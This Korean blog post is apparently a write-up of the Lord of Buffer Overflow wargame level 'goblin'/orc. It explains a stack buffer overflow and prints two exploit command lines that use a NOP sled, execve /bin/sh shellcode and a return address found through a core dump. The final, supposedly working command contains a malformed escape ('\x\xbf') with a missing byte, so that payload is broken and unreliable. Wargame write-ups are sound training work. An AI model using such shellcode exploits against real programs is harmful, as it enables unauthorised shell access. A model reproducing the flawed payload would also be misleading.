SMALL
goblin // hackers proof
소스파일을 확인해 어떻게 구성되어있는지 확인해보았다.
여기서 프로세스안 스택에서 젤 주소가 높은위치에 환경변수들이 있는데 거기를 가리키는게 environ (환경변수에 대한 포인터)
egghunter 로 인해 NULL 값이 나올 때 까지 환경변수에 0을 덮어 씌우니 환경변수는 쓸수없다.
그리고 2번째 인자값의 48번째에는 \xbf 가 나와야 프로그램이 종류가 안됨.
가용한 부분 esp-=44를 해주었다. i는 우리가 사용할 버퍼가 아니니 40을 기억.
환경변수를 이용하지 않으니 ret에 쉘코드를 가리키는 주소를 넣어준다.
그럴러면 확인을 해야 하므로 코어덤프를 해줘야한다. tmp 디텍토리에 사본을 생성!
./orc `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`
buffer[40] 이 사용할 쉘 [25] 보다 크므로 NOP값 15개와 사용할 쉘로 buffer를 다 채워준다.
그런다음 sfp,ret를 NOP으로 채우다가 마지막은 \xbf로 채웠다.
하지만 ret값에 0xbf909090 in ??() 이라고 오류가 뜨게 된다.
사본에서 만들어낸 코어파일을 덤프를 해서 보니 NOP이 15개가 연속으로 보이고 쉘코드가 0xbffffc2b 에서 보인다.
바로 이 주소를 넣어도 되지만 혹시나 싶어 NOP 슬라이딩을 하면되니 NOP을 어느정도 포함한 주소인 0xbffffc25를 ret에 넣어주기로 한다.
./orc `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*4+"\x25\xfc\x\xbf"'`
클리어!
즉, buf 안에서 nop값과 쉘코드를 넣어주어 그 주소를 구하고 그 주소를 ret에 넣어 줌으로써 해결이 되었다.
'System > LOB' 카테고리의 다른 글
[LOB_6]wolfman (0) | 2019.07.25 |
---|---|
[LOB_5]orc (0) | 2019.07.25 |
[LOB_3]cobolt (0) | 2019.07.25 |
[LOB_2]gremlin (0) | 2019.07.25 |
[LOB_1]gate (0) | 2019.07.25 |